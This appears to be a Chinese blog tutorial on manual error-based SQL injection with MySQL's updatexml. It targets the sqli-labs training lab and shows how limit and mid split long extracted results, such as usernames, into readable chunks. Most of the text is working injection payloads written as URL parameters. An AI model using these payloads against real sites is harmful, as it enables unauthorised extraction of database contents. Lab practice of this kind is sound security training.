sql手工注入时解决updatexml取值显示不全的问题

文章介绍了如何使用updatexml函数结合XPath在SQL注入场景中更新和提取数据,通过sqli-labs靶场的Less-1关卡示例,展示了limit和mid函数在分页读取超过一行数据时的应用,讨论了两种方法的效率差异。
摘要由CSDN通过智能技术生成

updatexml函数用法

updatexml(xml_doument,XPath_string,new_value)

第一个参数:XML的内容

第二个参数:是需要update的位置XPATH路径

第三个参数:是更新后的内容

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

 

实验环境

本次实验使用的是github上开源的sqli-labs训练靶场的第一关

 

解决方法

这里我们以/Less-1为例

http://192.168.8.158:90/Less-1/?id=1' and updatexml(1,concat(0x23,(select

group_concat(username) from security.users)),1) -- +

65ef16cb984e3b531ea345117ce8c39a.png

 

此时发现回显数据超过一行,无法显示

第一种方法:

这个时候limit函数的作用就出现了

limit函数

limit 0,1, 从表中的第0个数据开始,只读取一个

输入:?id=1' and updatexml(1,concat(0x23,(select username from users limit 0,1 )),0) -- +

bbf9ca979e495805a07073128f647c03.png

我们只需要变更limit后的第一个参数值就可以把数据一一显示出来

d5b45502868e48549bbefe3cd24f9ca6.png
420bd1f96db8831405acc3fc6b7a1cca.png

以此类推可以读取所有字段

 

第二种方法:

使用mid函数:

MID 函数用于从文本字段中提取字符。

mid()函数语法如下:

SELECT MID(column_name,start[,length]) FROM table_name

其中第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数(最多返回31个字符)

 

输入:

?id=1' and updatexml(1,concat(0x23,mid((select group_concat(username) from security.users),1,31)),1) -- +

ce3376529123016ed49126b3cd2f1fd8.png

我们只需要变更mid后的第二个参数值就可以把数据全部显示出来

输入:

?id=1' and updatexml(1,concat(0x23,mid((select group_concat(username) from security.users),32,31)),1) -- +

9e7a9c14c59f2585e8d075acbb6cf595.png

输入:

?id=1' and updatexml(1,concat(0x23,mid((select group_concat(username) from security.users),63,31)),1) -- +

6e246771d179189b0d5da23db224ecd1.png

相比之下我个人觉得mid方法相对于limit读取数据更快一些~

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值